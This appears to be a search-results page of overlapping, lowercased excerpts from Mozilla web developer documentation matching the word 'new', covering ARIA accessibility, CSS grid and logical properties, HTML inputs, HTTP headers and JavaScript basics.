...lected, it may also unselect all options. required javascript features selecting an option in a single select listbox when the user selects an option, the following must occur: deselect the previously selected option, setting the aria-selected to false, or removing the attribute altogether, changing the appearance of the
newly unselected option to appear not selected. ...
...on in a single select listbox when the user selects an option, the following must occur: deselect the previously selected option, setting the aria-selected to false, or removing the attribute altogether, changing the appearance of the
newly unselected option to appear not selected. select the
newly selected option, setting aria-selected="true" on the option and changing the appearance of the
newly selected option to appear selected. ...
...ly selected option, setting the aria-selected to false, or removing the attribute altogether, changing the appearance of the
newly unselected option to appear not selected. select the
newly selected option, setting aria-selected="true" on the option and changing the appearance of the
newly selected option to appear selected. ...
Architecture - Accessibility
are implemented by nshypertextaccessible. they support the nsiaccessiblehypertext is implemented on any container element that has both text and embedded objects for accessible children. why hyperlink is often not a link as explained above, anything that is embedded in text implements the hyperlink interface. while it is odd to call non-link objects a link, this was a necessary compromise in the
newatk design because it is necessary to know where objects exist within their containing text. previously the hyper link interface was really only for links, but the design could not fully represent an html document hierarchy. keeping the link name of the interface is unfortunate but necessary for backwards compatibility, without introducing superfluous interfaces. api comparison nsiaccessible (i...
...ject() for more information on how we do this. iaccessible2: same as nsiaccessible. text and whitespace leaf nodes are exposed, but are redundant with the information in the parent object's nsiaccessibletext. this is done for backward compatibility with older msaa clients which didn't have access to a text interface. the children of a hypertext object are a superset of the links it exposes. the
new system makes it easier to show caret positions etc., which will be an improvement in ia2 over msaa. example take the following html code: <div>hello<a href="http://www.mozilla.org/access">my link<img src="image.gif">is cool</a>bye</div> both the <a> and <img> are hyperlinks also, both the <div> and <a> are hypertexts so the <a> is both a hypertext and a hyperlink, because it contains text and ...
...le in dept first search order and recurse on the first character until a non-embed is found. otherwise, continue processing with offset = the index at the end of the line. if the character at the offset is an embed, proceed to its corresponding accessible and recurse on the first character until a non-embed is found. otherwise, the offset marks the start of a
new line. navigating to the next word follows a similar pattern. navigating previous requires returning to the embed character in the parent accessible when the point of regard reaches the end of text in the corresponding child accessible for the embed. see http://svn.gnome.org/viewcvs/lsr/tru...py?view=markup for a bsd implementation. (e) to grab a subtree of content: although under windows...
...t position. not only can this save extra calls, but it will always return the visual line of text when used with the gettext methods and line boundaries. the following magic offsets are useful to define in your code: #define char_offset_end_of_line = -1 #define char_offset_caret = -2 more information many more details on the mozilla document hierarchy are in the original design document for
newatk. there are also details on the general implementation of mozilla accessibility architecture (needs updating). ...
Accessibility documentation index - Accessibility
ies, for each browser that at supports wai-aria in. where a failure occurs we will test the browser for api incorrectness, using tools such as msaa inspect. this must be done in order to determine where to file a bug (browser or at). 5 aria annotations aria, accessibility, wai-aria, annotations, comments, details, suggestions wai-aria version 1.3 sees the addition of a set of
new features, collectively known as aria annotations, which allow the creation of accessible annotations inside web documents. typical use cases include edit suggestions (i.e. an addition and/or deletion in an editable document), and comments (e.g. an editorial comment related to a part of a document under review). 6 aria guides aria accessible rich internet applications (aria) d...
... aria-valuetext attribute is used to define the human readable text alternative of aria-valuenow for a range widget such as progressbar, spinbutton or slider. 30 using the article role aria, accessible, needscontent the article role is used to identify a section of a page that forms an independent part of a document, page or site. examples of an article include web log posts,
newspaper or magazine articles and use-submitted comments. it is independent in that its contents could stand alone, for example in syndication. 31 using the group role aria, accessibility, needscontent this technique demonstrates how to use the group role and describes the effect it has on browsers and assistive technology. 32 using the link role aria, accessibili...
... this role should only be used to define very dynamic and desktop-like web applications. 53 aria: article role aria, aria role, aria article role, article, article role, reference the article role indicates a section of a page that could easily stand on its own on a page, in a document, or on a website. it is usually set on related content items such as comments, forum posts,
newspaper articles or other items grouped together on one page. 54 aria: banner role aria, accessibility, needscontent a banner role represents general and informative content frequently placed at the beginning of the page. this usually includes a logo, company name, search icon, photo related to the page, or slogan. 55 aria: button role aria, aria role, aria butto...
...actices, forms, wcag, cognitive accessibility cognitive accessibility covers accessibility considerations for people with cognition and learning disabilities. this document introduces cognitive accessibility and improving accessibility of the web for people with cognitive and learning differences. 90 community accessibility this document provides links to mailing lists,
newsgroups, forums, and other communities related to accessbility. 91 html to msaa accessibility the table below shows how gecko maps html elements to msaa. this table reflects mapping rules for specific elements only, it doesn't reflect any general rules applicable to all elements. for example, if name column has n/a value then it means specific elements doesn't provide own rule...
Accessibility Information for Web Authors - Accessibility
e html advanced validator may also be downloaded from firefox add-ons: html validator. color contrast analyzer by juicy studio "contrast is the perceived difference between two adjacent colors. (...) contrast is extremely important in web design." wheel of color: pump up the contrast, robert hess, msdn "for this year's list of worst design mistakes, (...) i asked readers of my
newsletter to nominate the usability problems they found the most irritating. (...) about one-third complained about low contrast between text and background." top ten web design mistakes of 2005: 1. legibility problems how can a web author establish easily and quickly if the background color and foreground (text) color in use in his webpages have sufficient color contrast difference and suf...
...h the keyboard and assistive technologies such as screen readers, screen magnifiers and alternative input devices. join the mozilla accessibility community live chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility. since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night. ...
...s and alternative input devices. join the mozilla accessibility community live chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility. since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night. ...
...e chat both end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility. since this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night.
newsgroup and mailing list we have two discussion lists, which can be read via a
newsgroup reader, as a mailing list or via google groups. ...
Block and inline layout in normal flow - CSS: Cascading Style Sheets
g in an inline formatting context inline elements display one after the other in the direction that sentences run in that particular writing mode. while we don’t tend to think of inline elements as having a box, as with everything in css they do. these inline boxes are arranged one after the other. if there is not enough space in the containing block for all of the boxes a box can break onto a
new line. the lines created are known as line boxes. in the following example, we have three inline boxes created by a paragraph with a <strong> element inside it. the boxes around the words before the <strong> element and after the <strong> element are referred to as anonymous boxes, boxes introduced to ensure that everything is wrapped in a box, but ones that we cannot target directly. the lin...
...ection (so the height when working in english) is defined by the tallest box inside it. in the next example, i have made the <strong> element 300%; that content now defines the height of the line box on that line. find out more about how block and inline boxes behave in our guide to the visual formatting model. the display property and flow layout in addition to the rules existing in css2.1,
new levels of css further describe the behaviour of block and inline boxes. the display property defines how a box and any boxes inside it behave. in the css display model level 3, we can learn more about how the display property changes the behaviour of boxes and the boxes they generate. the display type of an element defines the outer display type; this dictates how the box displays alongside othe...
...er display type; this dictates how the box displays alongside other elements in the same formatting context. it also defines the inner display type, which dictates how boxes inside this element behave. we can see this very clearly when considering a flex layout. in the example below i have a <div>, which i have given display: flex. the flex container behaves like a block element: it displays on a
new line and takes up all of the space it can in the inline direction. this is the outer display type of block. the flex items however are participating in a flex formatting context, because their parent is the element with display: flex, which has an inner display type of flex, establishing the flex formatting context for the direct children. therefore you can think of every box in css working i...
...k. changing the formatting context an element participates in browsers display items as part of a block or inline formatting context in terms of what normally makes sense for that element. for example, a <strong> element is used to highlight a word and displays bold in browsers. it would not generally make sense for that <strong> element to be displayed as a block level element, breaking onto a
new line. if you did want all <strong> elements to display as block elements, you could do so by setting display: block on <strong>. this means that you can always use most of the semantic html elements to markup your content, and then change the way it displays using css. summary in this guide, we have looked at how elements display in normal flow, as block and inline elements. due to the defaul...
Basic Concepts of grid layout - CSS: Cascading Style Sheets
the features shown in this overview will then be explained in greater detail in the rest of this guide. what is a grid? a grid is a set of intersecting horizontal and vertical lines defining columns and rows. elements can be placed onto the grid within these column and row lines. ...
...g columns and rows. elements can be placed onto the grid within these column and row lines. css grid layout has the following features: fixed and flexible track sizes you can create a grid with fixed track sizes – using pixels for example. this sets the grid to the specified pixel which fits to the layout you desire. you can also create a grid using flexible sizes with percentages or with the
new fr unit designed for this purpose. item placement you can place items into a precise location on the grid using line numbers, names or by targeting an area of the grid. grid also contains an algorithm to control the placement of items not given an explicit position on the grid. creation of additional tracks to hold content you can define an explicit grid with grid layout. the grid layout spec...
...ng: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } the fr unit tracks can be defined using any length unit. grid also introduces an additional length unit to help us create flexible grid tracks. the
new fr unit represents a fraction of the available space in the grid container. the next grid definition would create three equal width tracks that grow and shrink according to the available space. <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: 1fr 1fr 1fr; } * {box-sizin...
...class="box box1"> <div class="nested">a</div> <div class="nested">b</div> <div class="nested">c</div> </div> <div class="box box2">two</div> <div class="box box3">three</div> <div class="box box4">four</div> <div class="box box5">five</div> </div> if i set box1 to display: grid i can give it a track definition and it too will become a grid. the items then lay out on this
new grid. .box1 { grid-column-start: 1; grid-column-end: 4; grid-row-start: 1; grid-row-end: 3; display: grid; grid-template-columns: repeat(3, 1fr); } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; display: grid; grid-template-columns: repeat(3, 1fr); } .box { border: 2px solid #ffa94d; border-radius: 5...
CSS grids, logical values, and writing modes - CSS: Cascading Style Sheets
why in grid layout we use the keyword start when aligning something to the start of the container. for me, working in english, start may well be on the left, however it doesn’t have to be, and the word start infers no physical location. block and inline once we begin dealing with logical, rather than physical properties, we stop seeing the world as left to right, and top to bottom. we need a
new reference point, and this is where understanding the block and inline axes, that we met previously in the guide to alignment, becomes very useful. if you can start to see layout in terms of block and inline, the way things work in grid start to make a lot more sense. css writing modes i’m going to introduce another specification here, that i will be using in my examples: the css writing mod...
...writing mode means changing our idea of where the block and inline axis are. the grid in my next example has three columns and two row tracks. this means there are three tracks running down the block axis. in default writing mode, grid auto-places items starting at the top left, moving along to the right, filling up the three cells on the inline axis. ...
... with a right to left as well as top to bottom writing mode, switch vertical-lr to vertical-rl, which is a vertical writing mode running from right to left. auto-placement and writing modes in the example already shown, you can see how writing mode changes the direction in which items place themselves onto the grid. items will, by default, place themselves along the inline axis then move onto a
new row. however, that inline axis may not always run from left to right. line-based placement and writing modes the key thing to remember when placing items by line number, is that line 1 is the start line, no matter which writing mode you are in. line -1 is the end line, no matter which writing mode you are in. in this next example, i have a grid which is in the default ltr direction. i have pos...
...space. if you use absolute positioning within a grid area, then you will again be using physical offsets to push the item around inside the grid area. the key thing is to be aware of, is the tension between physical and logical properties and values. for example, be aware that you may need to make changes to your css to cope with a switch from ltr to rtl. logical properties for everything! our
new layout methods give us the ability to use these logical values to place items, however, as soon as we start to combine them with the physical properties used for margins and padding, we need to remember that those physical properties will not change according to writing mode. the css logical properties specification aims to change that, and in future we will be able to use the logical equivalent...
CSS Grid Layout and Progressive Enhancement - CSS: Cascading Style Sheets
this version does not include auto-placement capability, or grid template areas. some simple grid layouts could be implemented for ie10, through to edge 15, using the -ms properties. as these properties are vendor prefixed, they will not effect any browser supporting the up to date and unprefixed specification. autoprefixer grid layout...
...yout will come down to the browsers your site visitors are typically using. if they tend to use up-to-date versions of firefox, chrome, opera, and safari, then it would make sense to start using css grids once those browsers update. if your site serves a market sector that is tied to older browsers, however, it may not make sense yet. however, my suggestion is not to make assumptions based on how
new specifications have been rolled out in browsers in the past. css grid layout is very different, in terms of the amount of time it has been in development, and the work of the various browser vendors to ensure that what ships works in the same way for everyone. starting to use grid in production it is worth noting that you do not have to use grid in an all or nothing way. you could start by simp...
...lock; clear: both; } .media .image { float: left; width: 150px; margin-right: 20px; } .media .text { padding: 10px; align-self: end; } <div class="media"> <div class="image"><img src="https://udn.realityripple.com/samples/89/f993f273dd.png" alt="placeholder"></div> <div class="text">this is a media object example. i am using floats for older browsers and grid for
new ones.</div> </div> the image below shows the media object in a non-supporting browser on the left, and a supporting one on the right: using feature queries the above example is very simple, and we can get away without needing to write code that would be a problem to browsers that do not support grid, and legacy code is not an issue to our grid supporting browsers. however, things are not...
...r an excellent explanation of feature queries, and how to use them well, see using feature queries in css. a write-up of the differences between the ie/edge (≤15) grid implementation and the modern implementation, also covering autoprefixer support, take a look at: should i try to use the ie implementation of css grid layout? autoprefixer and grid autoplacement support in ie css grid and the
new autoprefixer ...
Logical properties for margins, borders and padding - CSS: Cascading Style Sheets
rgins on the inline dimension of the second box will switch. you can also try changing the writing-mode from horizontal-tb to vertical-rl. again, notice how the margins stay in the same place for the first box, but switch around to follow the text direction in the second. margin shorthands as we can now target both sides of a box — either both inline sides or both block sides — there are
new shorthands available, margin-inline and margin-block, which accept two values. the first value will apply to the start of that dimension, the second to the end. if you only use one value it is applied to both. in a horizontal writing mode this css would apply a 5px margin to the top of the box and a 10px margin to the bottom. .box { margin-block: 5px 10px; } note: the shorthand properties m...
...t two values. the first value will apply to the start of that dimension, the second to the end. if you only use one value it is applied to both. in a horizontal writing mode this css would apply a 5px margin to the top of the box and a 10px margin to the bottom. .box { margin-block: 5px 10px; } note: the shorthand properties margin-inline and margin-block shipped in firefox 66. as these are
new properties check browser support before using. padding examples the mapped padding properties of padding-inline-start, padding-inline-end, padding-block-start, and padding-inline-end can be used instead of their physical counterparts. in the example below i have two boxes, one of which is using physical padding properties and the other logical padding properties. with a writing-mode of horizo...
...ng — padding-inline and padding-block — which allow you to set the padding of the two inline, and two block dimensions, respectively. in a horizontal writing-mode this css would apply 5px of padding to the top of the box and 10px of padding to the bottom: .box { padding-block: 5px 10px; } note: the shorthand properties padding-inline and padding-block shipped in firefox 66. as these are
new properties check browser support before using. border examples the border properties are the main reason that logical properties and values seems to have so many properties, as we have the longhands for the color, width, and style of the border on each side of a box, along with the shorthand to set all three at once for each side. as with margin and padding we have a mapped version of each phy...
...ong with the shorthand to set all three at once for each side. as with margin and padding we have a mapped version of each physical property. the demo below uses some longhands and three shorthand values. as with the other demos try changing the direction property to rtl to cause the boxes to display in a right-to-left direction, or changing the writing-mode from horizontal-tb to vertical-rl.
new border shorthands there are two-value shorthands to set the width, style and, color of the block or inline dimension, and two-value shorthands to set all three values in the block or inline dimension. the below code, in a horizontal writing mode, would give you a 2px green solid border on the top and bottom of the box, and a 4px dotted purple border on the left and right. .box { border-block:...
Writing Web Audio API code that works in every browser - Developer guides
til-now-webkit-only sites work with firefox, which uses the unprefixed version of the spec. unfortunately, chrome, safari and opera still use the webkitaudiocontext prefixed name. furthermore, as a result of the spec being still in flux, some browsers use deprecated properties and method names that are not present in standards-compliant browsers: safari uses the old method names, firefox uses the
new ones, and chrome and opera use both. in addition, not all features of web audio are already implemented in firefox yet. what do we do!? we don't want to maintain two or more separate code bases, and feature detection code is cumbersome! plus we want to write code that reliably works in the future, or at least, works with a minimum amount of changes. is there a way to satisfy all these constraints...
...is wilson. this little library will "normalise" the interfaces for you and make it look as if your code is running in a standards compliant browser, by aliasing prefixed names to the unprefixed versions. and it won't do anything if the unprefixed versions are already present. once you include it in your page, you can write in "modern web audio api" style, and do things such as: var audiocontext =
new audiocontext(); everywhere, including chrome/ium, opera, safari, and ---of course!--- firefox. also, if
new methods such as start are not detected in some nodes, the library will also alias them to their old names. thus, start is mapped to noteon, stop to noteoff, and so on. if you're porting moderately "old" code (say, a year old) it's possible that it uses some methods that audiocontext-monkey...
...for example, the way to create instances of gainnode used to be var gain = audiocontext.creategainnode(); but nowadays it is just var gain = audiocontext.creategain(); since the old method names are not present in firefox, existing code may crash with something like creategainnode is not a function, and you now know why. ...
...uple of days ago pannernode did not support the default hrtf panning model yet, and attempting to use a pannernode with that configuration simply resulted in silence or a mono output coming out from that node, depending on the build you used. today the support is already present in nightly, but not quite yet in aurora. in the meantime, you can explicitly specify 'equalpower' instead: var panner =
new audiocontext.pannernode(); panner.panningmodel = 'equalpower'; note that there's a list of projects built with the web audio api, specifying which ones use the standard audiocontext and which browsers do they work on. if you're a person that learns by example, it might be interesting to have a look at their source and see how they have resolved the compatibility issues. ...
Making content editable - Developer guides
ted by the user. </div> here's the above html in action: executing commands when an html element has contenteditable set to true, the document.execcommand() method is made available. this lets you run commands to manipulate the contents of the editable region. most commands affect the document's selection by, for example, applying a style to the text (bold, italics, etc), while others insert
new elements (like adding a link) or affect an entire line (indenting). when using contenteditable, calling execcommand() will affect the currently active editable element. differences in markup generation use of contenteditable across different browsers has been painful for a long time because of the differences in generated markup between browsers. for example, even something as simple as what ha...
...tire line (indenting). when using contenteditable, calling execcommand() will affect the currently active editable element. differences in markup generation use of contenteditable across different browsers has been painful for a long time because of the differences in generated markup between browsers. for example, even something as simple as what happens when you press enter/return to create a
new line of text inside an editable element was handled differently across the major browsers (firefox inserted <br> elements, ie/opera used <p>, chrome/safari used <div>). fortunately, in modern browsers things are somewhat more consistent. as of firefox 60, firefox will be updated to wrap the separate lines in <div> elements, matching the behavior of chrome, modern opera, edge, and safari. try it...
...phseparator command to allow you to change it. for example, to use <p> elements: document.execcommand("defaultparagraphseparator", false, "p"); additionally, firefox supports the non-standard argument, br, for defaultparagraphseparator since firefox 55. this is useful if your web application expects the older firefox behavior, and you don't want to or don't have the time to update it to use the
new behavior. you can use the older firefox behavior with this line: document.execcommand("defaultparagraphseparator", false, "br"); security for security reasons, firefox doesn't let javascript code use clipboard related features (copy, paste, etc.) by default. you can enable them by setting the preferences shown below using about:config: user_pref("capability.policy.policynames", "allowclipboar...
...itle 5 <h5></option> <option value="h6">subtitle <h6></option> <option value="p">paragraph <p></option> <option value="pre">preformatted <pre></option> </select> <select onchange="formatdoc('fontname',this[this.selectedindex].value);this.selectedindex=0;"> <option class="heading" selected>- font -</option> <option>arial</option> <option>arial black</option> <option>courier
new</option> <option>times
new roman</option> </select> <select onchange="formatdoc('fontsize',this[this.selectedindex].value);this.selectedindex=0;"> <option class="heading" selected>- size -</option> <option value="1">very small</option> <option value="2">a bit small</option> <option value="3">normal</option> <option value="4">medium-large</option> <option value="5">big</option> <option value="6">v...
<content>: The Shadow DOM Content Placeholder element (obsolete) - HTML: Hypertext Markup Language
replaced by the <slot> element, which creates a point in the dom at which a shadow dom can be inserted. note: though present in early draft of the specifications and implemented in several browsers, this element has been removed in later versions of the spec, and should not be used. it is documented here to assist in adapting code written during the time it was included in the spec to work with
newer versions of the specification. content categories transparent content. permitted content flow content. tag omission none, both the starting and ending tag are mandatory. permitted parent elements any element that accepts flow content. dom interface htmlcontentelement attributes this element includes the global attributes. ...
... web components in firefox. <html> <head></head> <body> <!-- the original content accessed by <content> --> <div> <h4>my content heading</h4> <p>my content text</p> </div> <script> // get the <div> above. var mycontent = document.queryselector('div'); // create a shadow dom on the <div> var shadowroot = mycontent.createshadowroot(); // insert into the shadow dom a
new heading and // part of the original content: the <p> tag. shadowroot.innerhtml = '<h2>inserted heading</h2> <content select="p"></content>'; </script> </body> </html> if you display this in a web browser it should look like the following. specifications this element is no longer defined by any specifications. browser compatibility the compatibility table in this page is genera...
... see also web components <shadow>, <slot>, <template>, <element> ...
... see also web components <shadow>, <slot>, <template>, <element> ...
<input type="radio"> - HTML: Hypertext Markup Language
additional attributes in addition to the common attributes shared by all <input> elements, radio inputs support th...
...> in this case, the first radio button is now selected by default. note: if you put the checked attribute on more than one radio button, later instances will override earlier ones; that is, the last checked radio button will be the one that is selected. this is because only one radio button in a group can ever be selected at once, and the user agent automatically deselects others each time a
new one is marked as checked. providing a bigger hit area for your radio buttons in the above examples, you may have noticed that you can select a radio button by clicking on its associated <label> element, as well as on the radio button itself. this is a really useful feature of html form labels that makes it easier for users to click the option they want, especially on small-screen devices like ...
... the css involved is a bit more significant: html { font-family: sans-serif; } div:first-of-type { display: flex; align-items: flex-start; margin-bottom: 5px; } label { margin-right: 15px; line-height: 32px; } input { -webkit-appearance: n...
...r the radio button's appearance when selected. compatibility note: if you wish to use the appearance property, you should test it very carefully. although it is supported in most modern browsers, its implementation varies widely. in older browsers, even the keyword none does not have the same effect across different browsers, and some do not support it at all. the differences are smaller in the
newest browsers. notice that when clicking on a radio button, there's a nice, smooth fade out/in effect as the two buttons change state. in addition, the style and coloring of the legend and submit button are customized to have strong contrast. this might not be a look you'd want in a real web application, but it definitely shows off the possibilities. specifications specification s...
<input type="time"> - HTML: Hypertext Markup Language
and opera in chrome/opera the time control is simple, with slots to enter hours and minutes in 12 or 24-hour format depending on operating system locale, and up and down arrows to increment and decrement the currently selected component. in some versions, an "x" button is provided to clear the control's value. 12-hour 24-hour chrome 83 in chrome 83, the ui controls have been updated with a
new look and feel. the
new element is functionally identical to the old one, but has a similar ui to edge. 24-hour firefox firefox's time control is very similar to chrome's, except that it doesn't have the up and down arrows. it also uses a 12- or 24-hour format for inputting times, based on system locale. an "x" button is provided to clear the control's value. 12-hour 24-hour edge the ed...
...me">start time: </label> <input type="time" id="starttime"> <p> value of the <code>time</code> input: <code> "<span id="value">n/a</span>"</code>. </p> </form> the javascript code adds code to the time input to watch for the input event, which is triggered every time the contents of an input element change. when this happens, the contents of the <span> are replaced with the
new value of the input element. var starttime = document.getelementbyid("starttime"); var valuespan = document.getelementbyid("value"); starttime.addeventlistener("input", function() { valuespan.innertext = starttime.value; }, false); when a form including a time input is submitted, the value is encoded before being included in the form's data. the form's data entry for a time input will alway...
...if <input type="time"> is not supported, we hide the native picker and show the fallback picker ui (<select>s) instead. // define variables var nativepicker = document.queryselector('.nativetimepicker'); var fal...
...ment.queryselector('.nativetimepicker'); var fallbackpicker = document.queryselector('.fallbacktimepicker'); var fallbacklabel = document.queryselector('.fallbacklabel'); var hourselect = document.queryselector('#hour'); var minuteselect = document.queryselector('#minute'); // hide fallback initially fallbackpicker.style.display = 'none'; fallbacklabel.style.display = 'none'; // test whether a
new date input falls back to a text input or not var test = document.createelement('input'); try { test.type = 'time'; } catch (e) { console.log(e.description); } // if it does, run the code inside the if() {} block if(test.type === 'text') { // hide the native picker and show the fallback nativepicker.style.display = 'none'; fallbackpicker.style.display = 'block'; fallbacklabel.style.d...
Content-Location - HTTP
with any url patterns it wishes, such as a query string parameter: /documents/foo?format=json, /documents/foo?format=xml, and so on. then the client could remember that the json version is available at that particular url, skipping content negotation the next time it requests that document. the server could also consider other content negotiation headers, such as accept-language. ...
... parameter: /documents/foo?format=json, /documents/foo?format=xml, and so on. then the client could remember that the json version is available at that particular url, skipping content negotation the next time it requests that document. the server could also consider other content negotiation headers, such as accept-language. ...
...ocuments/foo?format=xml, and so on. then the client could remember that the json version is available at that particular url, skipping content negotation the next time it requests that document. the server could also consider other content negotiation headers, such as accept-language. ...
...tion headers, such as accept-language. pointing to a
new document (http 201 created) say you're creating a
new blog post through a site's api: put /
new/post host: example.com content-type: text/markdown # my first blog post! i made this through `example.com`'s api. i hope it worked. the site returns a generic success message confirming the post was published. the server specifies where the
new post is with content-location: http/1.1 201 created content-type: text/plain; charset=utf-8 content-location: /my-first-blog-post ✅ success! indicating the url of a transaction's result say you have a <form> for sending money to another user of a site. <form action="/send-payment" method="post"> <p> <label>who do you want to send the money to? <input type="text" name="recipien...
Large-Allocation - HTTP
ecial value which represents uncertainty as to what the size of the allocation is. <megabytes> the expected size of the allocation to be performed, in megabytes. examples large-allocation: 0 large-allocation: 500 troubleshooting errors the large-allocation header throws warnings or error messages when used incorrectly. you'll encounter them in the web console. this page was loaded in a
new process due to a large-allocation header. this message means that the browser saw the large-allocation header, and was able to reload the page into a
new process which should have more available contiguous memory. a large-allocation header was ignored due to the load being triggered by a non-get request. when a post request is used to load a document, that load cannot currently be redirected i...
...this error is displayed when loading a document with a large-allocation header with a non-get http method. this could be caused due to the document being loaded by a form submission, for example. ...
...red due to the presence of windows which have a reference to this browsing context through the frame hierarchy or window.opener. this error means that the document was not loaded at the top level of an user-opened or noopener-opened tab or window. it can occur in these situations: the document with the large-allocation header was loaded in an <iframe>. firefox cannot move an iframe into a
new process currently, so the document must load in the current process. the document with the large-allocation header was loaded in a window which was opened by window.open(), <a target="_blank"> or other similar methods without rel="noopener" or the "noopener" feature being set. these windows must remain in the same process as their opener, as they can communicate, meaning that we cannot allow th...
... for the same reason as above, namely that they can communicate and thus we cannot allow them to switch processes. a large-allocation header was ignored due to the document not being loaded out of process. firefox has moved to a multiprocess architecture, and this architecture is required in order to support the large-allocation header. some legacy addons can prevent firefox from using this
new, faster, multiprocess architecture. if you have one of these addons installed, then we will continue to use the old single process architecuture for compatibility, and cannot handle the large-allocation header. this page would be loaded in a
new process due to a large-allocation header, however large-allocation process creation is disabled on non-win32 platforms. firefox currently only supports...
Iterators and generators - JavaScript
rator functions are written using the function* syntax. when called, generator functions do not initially execute their code. instead, they return a special type of iterator, called a generator. when a value is consumed by calling the generator's next method, the generator function executes until it encounters the yield keyword. the function can be called as many times as desired, and returns a
new generator each time. each generator may only be iterated once. we can now adapt the example from above. the behavior of this code is identical, but the implementation is much easier to write and read. function* makerangeiterator(start = 0, end = 100, step = 1) { let iterationcount = 0; for (let i = start; i < end; i += step) { iterationcount++; yield i; } return ...
... of the objects up its prototype chain) must have a property with a symbol.iterator key. it may be possible to iterate over an iterable more than once, or only once. it is up to the programmer to know which is the case. iterables which can iterate only once (such as generators) customarily return this from their @@iterator method, whereas iterables which can be iterated many times must return a
new iterator on each invocation of @@iterator. function* makeiterator() { yield 1; yield 2; } const it = makeiterator(); for (const ititem of it) { console.log(ititem); } console.log(it[symbol.iterator]() === it) // true; // this example show us generator(iterator) is iterable object, // which has the @@iterator method return the it (itself), // and consequently, the it object can it...
...nst it = makeiterator(); for (const ititem of it) { console.log(ititem); } console.log(it[symbol.iterator]() === it) // true; // this example show us generator(iterator) is iterable object, // which has the @@iterator method return the it (itself), // and consequently, the it object can iterate only _once_. ...
...eir prototype objects all have a symbol.iterator method. syntaxes expecting iterables some statements and expressions expect iterables. for example: the for-of loops, yield*. for (let value of ['a', 'b', 'c']) { console.log(value); } // "a" // "b" // "c" [...'abc']; // ["a", "b", "c"] function* gen() { yield* ['a', 'b', 'c']; } gen().next(); // { value: "a", done: false } [a, b, c] =
new set(['a', 'b', 'c']); a; // "a" advanced generators generators compute their yielded values on demand, which allows them to efficiently represent sequences that are expensive to compute (or even infinite sequences, as demonstrated above). the next() method also accepts a value, which can be used to modify the internal state of the generator. a value passed to next() will be received by yield...
Regular expression syntax cheatsheet - JavaScript
rminators: \n, \r, \u2028 or \u2029. for example, /.y/ matches "my" and "ay", but not "yes", in "yes make my day". inside a character set, the dot loses its special meaning and matches a literal dot. note that the m multiline flag doesn't change the dot behavior. so to match a pattern across multiple lines, the character set [^] can be used — it will match any character including
newlines. es2018 added the s "dotall" flag, which allows the dot to also match line terminators. \d matches any digit (arabic numeral). equivalent to [0-9]. for example, /\d/ or /[0-9]/ matches "2" in "b2 is the suite number". \d matches any character that is not a digit (arabic numeral). equivalent to [^0-9]. for example, /\d/ or /[^0-9]/ matches "b" in...
...haracters like :, -, @, etc. neither have a special meaning when escaped nor when unescaped. escape sequences like \:, \-, \@ will be equivalent to their literal, unescaped character equivalents in regular expressions. however, in regular expressions with the unicode flag, these will cause an invalid identity escape error. this is done to ensure backward compatibility with existing code that uses
new escape sequences like \p or \k. to match this character literally, escape it with itself. in other words to search for \ use /\\/. assertions if you are looking to contribute to this document, please also edit the original article boundary-type assertions characters meaning ^ matches the beginning of input. if the multiline flag is set...
... more "a"s in it. x*? x+? x?? x{n}? x{n,}? x{n,m}? by default quantifiers like * and + are "greedy", meaning that they try to match as much of the string as possible. the ? character after the quantifier makes the quantifier "non-greedy": meaning that it will stop as soon as it finds a match. ...
... x{n,}? x{n,m}? by default quantifiers like * and + are "greedy", meaning that they try to match as much of the string as possible. the ? character after the quantifier makes the quantifier "non-greedy": meaning that it will stop as soon as it finds a match. ...
TypeError: setting getter-only property "x" - JavaScript
while this will be silently ignored in non-strict mode, it will throw a typeerror in strict mode. ...
...while this will be silently ignored in non-strict mode, it will throw a typeerror in strict mode. examples property with no setter the example below shows how to set a getter for a property. it doesn't specify a setter, so a typeerror will be thrown upon trying to set the temperature property to 30. ...
...er for a property. it doesn't specify a setter, so a typeerror will be thrown upon trying to set the temperature property to 30. for more details see also the object.defineproperty() page. ...
... like this: "use strict"; function archiver() { var temperature = null; var archive = []; object.defineproperty(this, 'temperature', { get: function() { console.log('get!'); return temperature; }, set: function(value) { temperature = value; archive.push({ val: temperature }); } }); this.getarchive = function() { return archive; }; } var arc =
new archiver(); arc.temperature; // 'get!' arc.temperature = 11; arc.temperature = 13; arc.getarchive(); // [{ val: 11 }, { val: 13 }] ...
RangeError: invalid date - JavaScript
eerror what went wrong? a string leading to an invalid date has been provided to date or date.parse(). examples invalid cases unrecognizable strings or dates containing illegal element values in iso formatted strings usually return nan. ...
...a string leading to an invalid date has been provided to date or date.parse(). examples invalid cases unrecognizable strings or dates containing illegal element values in iso formatted strings usually return nan. ...
...s been provided to date or date.parse(). examples invalid cases unrecognizable strings or dates containing illegal element values in iso formatted strings usually return nan. ...
...er, depending on the implementation, non–conforming iso format strings, may also throw rangeerror: invalid date, like the following cases in firefox:
new date('foo-bar 2014');
new date('2014-25-23').toisostring();
new date('foo-bar 2014').tostring(); this, however, returns nan in firefox: date.parse('foo-bar 2014'); // nan for more details, see the date.parse() documentation. valid cases
new date('05 october 2011 14:48 utc');
new date(1317826080); // unix time stamp for 05 october 2011 14:48:00 utc ...
Array() constructor - JavaScript
the array() constructor is used to create array objects. syntax [element0, element1, ..., elementn]
new array(element0, element1[, ...[, elementn]])
new array(arraylength) parameters elementn a javascript array is initialized with the given elements, except in the case where a single argument is passed to the array constructor and that argument is a number (see the arraylength parameter below). note that this special case only applies to javascript arrays created with the array constructor, not array literals created with the bracket syntax. ...
... single argument is passed to the array constructor and that argument is a number (see the arraylength parameter below). note that this special case only applies to javascript arrays created with the array constructor, not array literals created with the bracket syntax. arraylength if the only argument passed to the array constructor is an integer between 0 and 232-1 (inclusive), this returns a
